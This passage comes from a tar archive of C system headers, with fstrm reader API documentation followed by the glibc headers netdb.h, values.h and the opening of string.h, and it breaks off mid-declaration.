copy of the provided string. This * function may be called multiple times, in which case multiple "Content Type" * values will be accepted by the reader. * * If the reader has no content types set, it will accept any content type. * * \param ropt * `fstrm_reader_options` object. * \param content_type * The "Content Type" string to copy. Note that this string is not * NUL-terminated and may contain embedded NULs. * \param len_content_type * The number of bytes in `content_type`. * * \retval #fstrm_res_success * The "Content Type" field was successfully added. * \retval #fstrm_res_failure * The "Content Type" string is too long. */ fstrm_res fstrm_reader_options_add_content_type( struct fstrm_reader_options *ropt, const void *content_type, size_t len_content_type); /** * Set the maximum frame size that the reader is willing to accept. This * enforces an upper limit on the amount of memory used to buffer incoming data * from the reader's byte stream. * * If this option is not set, it defaults to * #FSTRM_READER_MAX_FRAME_SIZE_DEFAULT. * * \param ropt * `fstrm_reader_options` object. * \param max_frame_size * The maximum frame size value. * * \retval #fstrm_res_success * The `max_frame_size` value was successfully set. * \retval #fstrm_res_failure * The `max_frame_size` value was too large or too small. */ fstrm_res fstrm_reader_options_set_max_frame_size( struct fstrm_reader_options *ropt, size_t max_frame_size); /** * Initialize a new `fstrm_reader` object based on an underlying `fstrm_rdwr` * object and an `fstrm_reader_options` object. * * The underlying `fstrm_rdwr` object MUST have a `read` method. It MAY * optionally have a `write` method, in which case the stream will be treated as * a bi-directional, handshaked stream. Otherwise, if there is no `write` method * the stream will be treated as a uni-directional stream. * * This function is useful for implementing functions that return new types of * `fstrm_reader` objects, such as fstrm_file_reader_init(). * * After a successful call to this function, the ownership of the `fstrm_rdwr` * object passes from the caller to the `fstrm_reader` object. The caller * should perform no further calls on the `fstrm_rdwr` object. The `fstrm_rdwr` * object will be cleaned up on a call to fstrm_reader_destroy(). * * \param ropt * `fstrm_reader_options` object. May be NULL, in which case default values * will be used. * * \param rdwr * Pointer to `fstrm_rdwr` object. Must be non-NULL. The `fstrm_rdwr` * object must have a `read` method, and may optionally have a `write` * method. * * \return * `fstrm_reader` object. * \retval * NULL on failure. */ struct fstrm_reader * fstrm_reader_init( const struct fstrm_reader_options *ropt, struct fstrm_rdwr **rdwr); /** * Destroy an `fstrm_reader` object. This implicitly calls fstrm_reader_close() * if necessary. * * \param r * Pointer to `fstrm_reader` object. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_reader_destroy(struct fstrm_reader **r); /** * Open an `fstrm_reader` object and prepare it to read data. * * This checks that the content type in the byte stream, if specified, matches * one of the content types specified in the `fstrm_reader_options` object used * to initialize the `fstrm_reader` object. * * This function may fail if there was an underlying problem opening the input * stream. * * \param r * `fstrm_reader` object. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_reader_open(struct fstrm_reader *r); /** * Close an `fstrm_reader` object. Once it has been closed, no data frames may * subsequently be read. * * Calling this function is optional; it may be implicitly invoked by a call to * fstrm_reader_destroy(). * * \param r * `fstrm_reader` object. * * \retval #fstrm_res_success * \retval #fstrm_res_failure */ fstrm_res fstrm_reader_close(struct fstrm_reader *r); /** * Read a data frame from an `fstrm_reader` object. This frame is held in an * internal buffer owned by the `fstrm_reader` object and should not be modified * by the caller. The contents of this buffer will be overwritten by a * subsequent call to fstrm_reader_read(). * * This function implicitly calls fstrm_reader_open() if necessary. * * \param r * `fstrm_reader` object. * \param[out] data * Pointer to buffer containing the data frame payload. * \param[out] len_data * The number of bytes available in `data`. * * \retval #fstrm_res_success * A data frame was successfully read. * \retval #fstrm_res_stop * The end of the stream has been reached. * \retval #fstrm_res_failure */ fstrm_res fstrm_reader_read( struct fstrm_reader *r, const uint8_t **data, size_t *len_data); /** * Obtain a pointer to an `fstrm_control` object used during processing. Objects * returned by this function are owned by the `fstrm_reader` object and must not * be modified by the caller. After a call to fstrm_reader_destroy() these * pointers will no longer be valid. * * For example, this function can be used to obtain a pointer to the START * control frame, which can be queried to see which "Content Type" was * negotiated during the opening of the reader. * * This function implicitly calls fstrm_reader_open() if necessary. * * \param r * `fstrm_reader` object. * \param type * Which control frame to return. * \param[out] control * The `fstrm_control` object. * * \retval #fstrm_res_success * If an `fstrm_control` object was returned. * \retval #fstrm_res_failure */ fstrm_res fstrm_reader_get_control( struct fstrm_reader *r, fstrm_control_type type, const struct fstrm_control **control); /**@}*/ #endif /* FSTRM_READER_H */ netdb.h 0000644 00000066703 15246445047 0006040 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* All data returned by the network data base library are supplied in host order and returned in network order (suitable for use in system calls). */ #ifndef _NETDB_H #define _NETDB_H 1 #include <features.h> #include <netinet/in.h> #include <bits/stdint-uintn.h> #ifdef __USE_MISC /* This is necessary to make this include file properly replace the Sun version. */ # include <rpc/netdb.h> #endif #ifdef __USE_GNU # include <bits/types/sigevent_t.h> # include <bits/types/struct_timespec.h> #endif #include <bits/netdb.h> /* Absolute file name for network data base files. */ #define _PATH_HEQUIV "/etc/hosts.equiv" #define _PATH_HOSTS "/etc/hosts" #define _PATH_NETWORKS "/etc/networks" #define _PATH_NSSWITCH_CONF "/etc/nsswitch.conf" #define _PATH_PROTOCOLS "/etc/protocols" #define _PATH_SERVICES "/etc/services" __BEGIN_DECLS #if defined __USE_MISC || !defined __USE_XOPEN2K8 /* Error status for non-reentrant lookup functions. We use a macro to access always the thread-specific `h_errno' variable. */ # define h_errno (*__h_errno_location ()) /* Function to get address of global `h_errno' variable. */ extern int *__h_errno_location (void) __THROW __attribute__ ((__const__)); /* Possible values left in `h_errno'. */ # define HOST_NOT_FOUND 1 /* Authoritative Answer Host not found. */ # define TRY_AGAIN 2 /* Non-Authoritative Host not found, or SERVERFAIL. */ # define NO_RECOVERY 3 /* Non recoverable errors, FORMERR, REFUSED, NOTIMP. */ # define NO_DATA 4 /* Valid name, no data record of requested type. */ #endif #ifdef __USE_MISC # define NETDB_INTERNAL -1 /* See errno. */ # define NETDB_SUCCESS 0 /* No problem. */ # define NO_ADDRESS NO_DATA /* No address, look for MX record. */ #endif #if defined __USE_XOPEN2K || defined __USE_XOPEN_EXTENDED /* Highest reserved Internet port number. */ # define IPPORT_RESERVED 1024 #endif #ifdef __USE_GNU /* Scope delimiter for getaddrinfo(), getnameinfo(). */ # define SCOPE_DELIMITER '%' #endif #ifdef __USE_MISC /* Print error indicated by `h_errno' variable on standard error. STR if non-null is printed before the error string. */ extern void herror (const char *__str) __THROW; /* Return string associated with error ERR_NUM. */ extern const char *hstrerror (int __err_num) __THROW; #endif /* Description of data base entry for a single host. */ struct hostent { char *h_name; /* Official name of host. */ char **h_aliases; /* Alias list. */ int h_addrtype; /* Host address type. */ int h_length; /* Length of address. */ char **h_addr_list; /* List of addresses from name server. */ #ifdef __USE_MISC # define h_addr h_addr_list[0] /* Address, for backward compatibility.*/ #endif }; /* Open host data base files and mark them as staying open even after a later search if STAY_OPEN is non-zero. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void sethostent (int __stay_open); /* Close host data base files and clear `stay open' flag. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void endhostent (void); /* Get next entry from host data base file. Open data base if necessary. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct hostent *gethostent (void); /* Return entry from host data base which address match ADDR with length LEN and type TYPE. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct hostent *gethostbyaddr (const void *__addr, __socklen_t __len, int __type); /* Return entry from host data base for host with NAME. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct hostent *gethostbyname (const char *__name); #ifdef __USE_MISC /* Return entry from host data base for host with NAME. AF must be set to the address type which is `AF_INET' for IPv4 or `AF_INET6' for IPv6. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern struct hostent *gethostbyname2 (const char *__name, int __af); /* Reentrant versions of the functions above. The additional arguments specify a buffer of BUFLEN starting at BUF. The last argument is a pointer to a variable which gets the value which would be stored in the global variable `herrno' by the non-reentrant functions. These functions are not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation they are cancellation points and therefore not marked with __THROW. */ extern int gethostent_r (struct hostent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct hostent **__restrict __result, int *__restrict __h_errnop); extern int gethostbyaddr_r (const void *__restrict __addr, __socklen_t __len, int __type, struct hostent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct hostent **__restrict __result, int *__restrict __h_errnop); extern int gethostbyname_r (const char *__restrict __name, struct hostent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct hostent **__restrict __result, int *__restrict __h_errnop); extern int gethostbyname2_r (const char *__restrict __name, int __af, struct hostent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct hostent **__restrict __result, int *__restrict __h_errnop); #endif /* misc */ /* Open network data base files and mark them as staying open even after a later search if STAY_OPEN is non-zero. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void setnetent (int __stay_open); /* Close network data base files and clear `stay open' flag. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void endnetent (void); /* Get next entry from network data base file. Open data base if necessary. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct netent *getnetent (void); /* Return entry from network data base which address match NET and type TYPE. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct netent *getnetbyaddr (uint32_t __net, int __type); /* Return entry from network data base for network with NAME. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct netent *getnetbyname (const char *__name); #ifdef __USE_MISC /* Reentrant versions of the functions above. The additional arguments specify a buffer of BUFLEN starting at BUF. The last argument is a pointer to a variable which gets the value which would be stored in the global variable `herrno' by the non-reentrant functions. These functions are not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation they are cancellation points and therefore not marked with __THROW. */ extern int getnetent_r (struct netent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct netent **__restrict __result, int *__restrict __h_errnop); extern int getnetbyaddr_r (uint32_t __net, int __type, struct netent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct netent **__restrict __result, int *__restrict __h_errnop); extern int getnetbyname_r (const char *__restrict __name, struct netent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct netent **__restrict __result, int *__restrict __h_errnop); #endif /* misc */ /* Description of data base entry for a single service. */ struct servent { char *s_name; /* Official service name. */ char **s_aliases; /* Alias list. */ int s_port; /* Port number. */ char *s_proto; /* Protocol to use. */ }; /* Open service data base files and mark them as staying open even after a later search if STAY_OPEN is non-zero. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void setservent (int __stay_open); /* Close service data base files and clear `stay open' flag. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void endservent (void); /* Get next entry from service data base file. Open data base if necessary. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct servent *getservent (void); /* Return entry from network data base for network with NAME and protocol PROTO. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct servent *getservbyname (const char *__name, const char *__proto); /* Return entry from service data base which matches port PORT and protocol PROTO. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct servent *getservbyport (int __port, const char *__proto); #ifdef __USE_MISC /* Reentrant versions of the functions above. The additional arguments specify a buffer of BUFLEN starting at BUF. These functions are not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation they are cancellation points and therefore not marked with __THROW. */ extern int getservent_r (struct servent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct servent **__restrict __result); extern int getservbyname_r (const char *__restrict __name, const char *__restrict __proto, struct servent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct servent **__restrict __result); extern int getservbyport_r (int __port, const char *__restrict __proto, struct servent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct servent **__restrict __result); #endif /* misc */ /* Description of data base entry for a single service. */ struct protoent { char *p_name; /* Official protocol name. */ char **p_aliases; /* Alias list. */ int p_proto; /* Protocol number. */ }; /* Open protocol data base files and mark them as staying open even after a later search if STAY_OPEN is non-zero. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void setprotoent (int __stay_open); /* Close protocol data base files and clear `stay open' flag. This function is a possible cancellation point and therefore not marked with __THROW. */ extern void endprotoent (void); /* Get next entry from protocol data base file. Open data base if necessary. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct protoent *getprotoent (void); /* Return entry from protocol data base for network with NAME. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct protoent *getprotobyname (const char *__name); /* Return entry from protocol data base which number is PROTO. This function is a possible cancellation point and therefore not marked with __THROW. */ extern struct protoent *getprotobynumber (int __proto); #ifdef __USE_MISC /* Reentrant versions of the functions above. The additional arguments specify a buffer of BUFLEN starting at BUF. These functions are not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation they are cancellation points and therefore not marked with __THROW. */ extern int getprotoent_r (struct protoent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct protoent **__restrict __result); extern int getprotobyname_r (const char *__restrict __name, struct protoent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct protoent **__restrict __result); extern int getprotobynumber_r (int __proto, struct protoent *__restrict __result_buf, char *__restrict __buf, size_t __buflen, struct protoent **__restrict __result); /* Establish network group NETGROUP for enumeration. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int setnetgrent (const char *__netgroup); /* Free all space allocated by previous `setnetgrent' call. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern void endnetgrent (void); /* Get next member of netgroup established by last `setnetgrent' call and return pointers to elements in HOSTP, USERP, and DOMAINP. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int getnetgrent (char **__restrict __hostp, char **__restrict __userp, char **__restrict __domainp); /* Test whether NETGROUP contains the triple (HOST,USER,DOMAIN). This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int innetgr (const char *__netgroup, const char *__host, const char *__user, const char *__domain); /* Reentrant version of `getnetgrent' where result is placed in BUFFER. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int getnetgrent_r (char **__restrict __hostp, char **__restrict __userp, char **__restrict __domainp, char *__restrict __buffer, size_t __buflen); #endif /* misc */ #ifdef __USE_MISC /* Call `rshd' at port RPORT on remote machine *AHOST to execute CMD. The local user is LOCUSER, on the remote machine the command is executed as REMUSER. In *FD2P the descriptor to the socket for the connection is returned. The caller must have the right to use a reserved port. When the function returns *AHOST contains the official host name. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int rcmd (char **__restrict __ahost, unsigned short int __rport, const char *__restrict __locuser, const char *__restrict __remuser, const char *__restrict __cmd, int *__restrict __fd2p); /* This is the equivalent function where the protocol can be selected and which therefore can be used for IPv6. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int rcmd_af (char **__restrict __ahost, unsigned short int __rport, const char *__restrict __locuser, const char *__restrict __remuser, const char *__restrict __cmd, int *__restrict __fd2p, sa_family_t __af); /* Call `rexecd' at port RPORT on remote machine *AHOST to execute CMD. The process runs at the remote machine using the ID of user NAME whose cleartext password is PASSWD. In *FD2P the descriptor to the socket for the connection is returned. When the function returns *AHOST contains the official host name. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int rexec (char **__restrict __ahost, int __rport, const char *__restrict __name, const char *__restrict __pass, const char *__restrict __cmd, int *__restrict __fd2p); /* This is the equivalent function where the protocol can be selected and which therefore can be used for IPv6. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int rexec_af (char **__restrict __ahost, int __rport, const char *__restrict __name, const char *__restrict __pass, const char *__restrict __cmd, int *__restrict __fd2p, sa_family_t __af); /* Check whether user REMUSER on system RHOST is allowed to login as LOCUSER. If SUSER is not zero the user tries to become superuser. Return 0 if it is possible. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int ruserok (const char *__rhost, int __suser, const char *__remuser, const char *__locuser); /* This is the equivalent function where the protocol can be selected and which therefore can be used for IPv6. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int ruserok_af (const char *__rhost, int __suser, const char *__remuser, const char *__locuser, sa_family_t __af); /* Check whether user REMUSER on system indicated by IPv4 address RADDR is allowed to login as LOCUSER. Non-IPv4 (e.g., IPv6) are not supported. If SUSER is not zero the user tries to become superuser. Return 0 if it is possible. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int iruserok (uint32_t __raddr, int __suser, const char *__remuser, const char *__locuser); /* This is the equivalent function where the pfamiliy if the address pointed to by RADDR is determined by the value of AF. It therefore can be used for IPv6 This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int iruserok_af (const void *__raddr, int __suser, const char *__remuser, const char *__locuser, sa_family_t __af); /* Try to allocate reserved port, returning a descriptor for a socket opened at this port or -1 if unsuccessful. The search for an available port will start at ALPORT and continues with lower numbers. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int rresvport (int *__alport); /* This is the equivalent function where the protocol can be selected and which therefore can be used for IPv6. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int rresvport_af (int *__alport, sa_family_t __af); #endif /* Extension from POSIX.1:2001. */ #ifdef __USE_XOPEN2K /* Structure to contain information about address of a service provider. */ struct addrinfo { int ai_flags; /* Input flags. */ int ai_family; /* Protocol family for socket. */ int ai_socktype; /* Socket type. */ int ai_protocol; /* Protocol for socket. */ socklen_t ai_addrlen; /* Length of socket address. */ struct sockaddr *ai_addr; /* Socket address for socket. */ char *ai_canonname; /* Canonical name for service location. */ struct addrinfo *ai_next; /* Pointer to next in list. */ }; # ifdef __USE_GNU /* Structure used as control block for asynchronous lookup. */ struct gaicb { const char *ar_name; /* Name to look up. */ const char *ar_service; /* Service name. */ const struct addrinfo *ar_request; /* Additional request specification. */ struct addrinfo *ar_result; /* Pointer to result. */ /* The following are internal elements. */ int __return; int __glibc_reserved[5]; }; /* Lookup mode. */ # define GAI_WAIT 0 # define GAI_NOWAIT 1 # endif /* Possible values for `ai_flags' field in `addrinfo' structure. */ # define AI_PASSIVE 0x0001 /* Socket address is intended for `bind'. */ # define AI_CANONNAME 0x0002 /* Request for canonical name. */ # define AI_NUMERICHOST 0x0004 /* Don't use name resolution. */ # define AI_V4MAPPED 0x0008 /* IPv4 mapped addresses are acceptable. */ # define AI_ALL 0x0010 /* Return IPv4 mapped and IPv6 addresses. */ # define AI_ADDRCONFIG 0x0020 /* Use configuration of this host to choose returned address type.. */ # ifdef __USE_GNU # define AI_IDN 0x0040 /* IDN encode input (assuming it is encoded in the current locale's character set) before looking it up. */ # define AI_CANONIDN 0x0080 /* Translate canonical name from IDN format. */ # define AI_IDN_ALLOW_UNASSIGNED \ __glibc_macro_warning ("AI_IDN_ALLOW_UNASSIGNED is deprecated") 0x0100 # define AI_IDN_USE_STD3_ASCII_RULES \ __glibc_macro_warning ("AI_IDN_USE_STD3_ASCII_RULES is deprecated") 0x0200 # endif # define AI_NUMERICSERV 0x0400 /* Don't use name resolution. */ /* Error values for `getaddrinfo' function. */ # define EAI_BADFLAGS -1 /* Invalid value for `ai_flags' field. */ # define EAI_NONAME -2 /* NAME or SERVICE is unknown. */ # define EAI_AGAIN -3 /* Temporary failure in name resolution. */ # define EAI_FAIL -4 /* Non-recoverable failure in name res. */ # define EAI_FAMILY -6 /* `ai_family' not supported. */ # define EAI_SOCKTYPE -7 /* `ai_socktype' not supported. */ # define EAI_SERVICE -8 /* SERVICE not supported for `ai_socktype'. */ # define EAI_MEMORY -10 /* Memory allocation failure. */ # define EAI_SYSTEM -11 /* System error returned in `errno'. */ # define EAI_OVERFLOW -12 /* Argument buffer overflow. */ # ifdef __USE_GNU # define EAI_NODATA -5 /* No address associated with NAME. */ # define EAI_ADDRFAMILY -9 /* Address family for NAME not supported. */ # define EAI_INPROGRESS -100 /* Processing request in progress. */ # define EAI_CANCELED -101 /* Request canceled. */ # define EAI_NOTCANCELED -102 /* Request not canceled. */ # define EAI_ALLDONE -103 /* All requests done. */ # define EAI_INTR -104 /* Interrupted by a signal. */ # define EAI_IDN_ENCODE -105 /* IDN encoding failed. */ # endif # ifdef __USE_MISC # define NI_MAXHOST 1025 # define NI_MAXSERV 32 # endif # define NI_NUMERICHOST 1 /* Don't try to look up hostname. */ # define NI_NUMERICSERV 2 /* Don't convert port number to name. */ # define NI_NOFQDN 4 /* Only return nodename portion. */ # define NI_NAMEREQD 8 /* Don't return numeric addresses. */ # define NI_DGRAM 16 /* Look up UDP service rather than TCP. */ # ifdef __USE_GNU # define NI_IDN 32 /* Convert name from IDN format. */ # define NI_IDN_ALLOW_UNASSIGNED \ __glibc_macro_warning ("NI_IDN_ALLOW_UNASSIGNED is deprecated") 64 # define NI_IDN_USE_STD3_ASCII_RULES \ __glibc_macro_warning ("NI_IDN_USE_STD3_ASCII_RULES is deprecated") 128 # endif /* Translate name of a service location and/or a service name to set of socket addresses. This function is a possible cancellation point and therefore not marked with __THROW. */ extern int getaddrinfo (const char *__restrict __name, const char *__restrict __service, const struct addrinfo *__restrict __req, struct addrinfo **__restrict __pai); /* Free `addrinfo' structure AI including associated storage. */ extern void freeaddrinfo (struct addrinfo *__ai) __THROW; /* Convert error return from getaddrinfo() to a string. */ extern const char *gai_strerror (int __ecode) __THROW; /* Translate a socket address to a location and service name. This function is a possible cancellation point and therefore not marked with __THROW. */ extern int getnameinfo (const struct sockaddr *__restrict __sa, socklen_t __salen, char *__restrict __host, socklen_t __hostlen, char *__restrict __serv, socklen_t __servlen, int __flags); #endif /* POSIX */ #ifdef __USE_GNU /* Enqueue ENT requests from the LIST. If MODE is GAI_WAIT wait until all requests are handled. If WAIT is GAI_NOWAIT return immediately after queueing the requests and signal completion according to SIG. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int getaddrinfo_a (int __mode, struct gaicb *__list[__restrict_arr], int __ent, struct sigevent *__restrict __sig); /* Suspend execution of the thread until at least one of the ENT requests in LIST is handled. If TIMEOUT is not a null pointer it specifies the longest time the function keeps waiting before returning with an error. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int gai_suspend (const struct gaicb *const __list[], int __ent, const struct timespec *__timeout); /* Get the error status of the request REQ. */ extern int gai_error (struct gaicb *__req) __THROW; /* Cancel the requests associated with GAICBP. */ extern int gai_cancel (struct gaicb *__gaicbp) __THROW; #endif /* GNU */ __END_DECLS #endif /* netdb.h */ values.h 0000644 00000003643 15246445047 0006235 0 ustar 00 /* Old compatibility names for <limits.h> and <float.h> constants. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This interface is obsolete. New programs should use <limits.h> and/or <float.h> instead of <values.h>. */ #ifndef _VALUES_H #define _VALUES_H 1 #include <features.h> #include <limits.h> #define _TYPEBITS(type) (sizeof (type) * CHAR_BIT) #define CHARBITS _TYPEBITS (char) #define SHORTBITS _TYPEBITS (short int) #define INTBITS _TYPEBITS (int) #define LONGBITS _TYPEBITS (long int) #define PTRBITS _TYPEBITS (char *) #define DOUBLEBITS _TYPEBITS (double) #define FLOATBITS _TYPEBITS (float) #define MINSHORT SHRT_MIN #define MININT INT_MIN #define MINLONG LONG_MIN #define MAXSHORT SHRT_MAX #define MAXINT INT_MAX #define MAXLONG LONG_MAX #define HIBITS MINSHORT #define HIBITL MINLONG #include <float.h> #define MAXDOUBLE DBL_MAX #define MAXFLOAT FLT_MAX #define MINDOUBLE DBL_MIN #define MINFLOAT FLT_MIN #define DMINEXP DBL_MIN_EXP #define FMINEXP FLT_MIN_EXP #define DMAXEXP DBL_MAX_EXP #define FMAXEXP FLT_MAX_EXP #ifdef __USE_MISC /* Some systems define this name instead of CHAR_BIT or CHARBITS. */ # define BITSPERBYTE CHAR_BIT #endif #endif /* values.h */ string.h 0000644 00000042263 15246445047 0006245 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99 Standard: 7.21 String handling <string.h> */ #ifndef _STRING_H #define _STRING_H 1 #define __GLIBC_INTERNAL_STARTING_HEADER_IMPLEMENTATION #include <bits/libc-header-start.h> __BEGIN_DECLS /* Get size_t and NULL from <stddef.h>. */ #define __need_size_t #define __need_NULL #include <stddef.h> /* Tell the caller that we provide correct C++ prototypes. */ #if defined __cplusplus && (__GNUC_PREREQ (4, 4) \ || __glibc_clang_prereq (3, 5)) # define __CORRECT_ISO_CPP_STRING_H_PROTO #endif /* Copy N bytes of SRC to DEST. */ extern void *memcpy (void *__restrict __dest, const void *__restrict __src, size_t __n) __THROW __nonnull ((1, 2)); /* Copy N bytes of SRC to DEST, guaranteeing correct behavior for overlapping strings. */ extern void *memmove (void *__dest, const void *__src, size_t __n) __THROW __nonnull ((1, 2)); /* Copy no more than N bytes of SRC to DEST, stopping when C is found. Return the position in DEST one byte past where C was copied, or NULL if C was not found in the first N bytes of SRC. */ #if defined __USE_MISC || defined __USE_XOPEN extern void *memccpy (void *__restrict __dest, const void *__restrict __src, int __c, size_t __n) __THROW __nonnull ((1, 2)); #endif /* Misc || X/Open. */ /* Set N bytes of S to C. */ extern void *memset (void *__s, int __c, size_t __n) __THROW __nonnull ((1)); /* Compare N bytes of S1 and S2. */ extern int memcmp (const void *__s1, const void *__s2, size_t __n) __THROW __attribute_pure__ __nonnull ((1, 2)); /* Search N bytes of S for C. */ #ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" { extern void *memchr (void *__s, int __c, size_t __n) __THROW __asm ("memchr") __attribute_pure__ __nonnull ((1)); extern const void *memchr (const void *__s, int __c, size_t __n) __THROW __asm ("memchr") __attribute_pure__ __nonnull ((1)); # ifdef __OPTIMIZE__ __extern_always_inline void * memchr (void *__s, int __c, size_t __n) __THROW { return __builtin_memchr (__s, __c, __n); } __extern_always_inline const void * memchr (const void *__s, int __c, size_t __n) __THROW { return __builtin_memchr (__s, __c, __n); } # endif } #else extern void *memchr (const void *__s, int __c, size_t __n) __THROW __attribute_pure__ __nonnull ((1)); #endif #ifdef __USE_GNU /* Search in S for C. This is similar to `memchr' but there is no length limit. */ # ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" void *rawmemchr (void *__s, int __c) __THROW __asm ("rawmemchr") __attribute_pure__ __nonnull ((1)); extern "C++" const void *rawmemchr (const void *__s, int __c) __THROW __asm ("rawmemchr") __attribute_pure__ __nonnull ((1)); # else extern void *rawmemchr (const void *__s, int __c) __THROW __attribute_pure__ __nonnull ((1)); # endif /* Search N bytes of S for the final occurrence of C. */ # ifdef __CORRECT_ISO_CPP_STRING_H_PROTO extern "C++" void *memrchr (void *__s, int __c, size_t __n) __THROW __asm ("memrchr") __attribute_pure__ __nonnull ((1)); extern "C++" const void *memrchr (const void *__s, int __c, size_t __n) __THROW __asm ("memrchr") __attribute_pure__ __nonnull ((1)); # else extern void *memrchr (const void *__s, int __c, size_t __n) __THROW __attribute_pure__ __nonnull ((1)); # endif #endif /* Copy SRC to DEST. */ extern char *strcpy (char *__restrict __dest, const char *__restrict __src) __THROW __nonnull ((1, 2)); /* Copy no more than N characters of SRC to DEST. */ extern char *strncpy (char *__restrict __dest, const char *__restrict __src, size_t __n) __THROW __nonnull ((1, 2)); /* Append SRC onto DEST. */ extern char *strcat (char *__restrict __dest, const char *__restrict __src) __THROW __nonnull ((1, 2)); /* Append no more than N characters from SRC onto 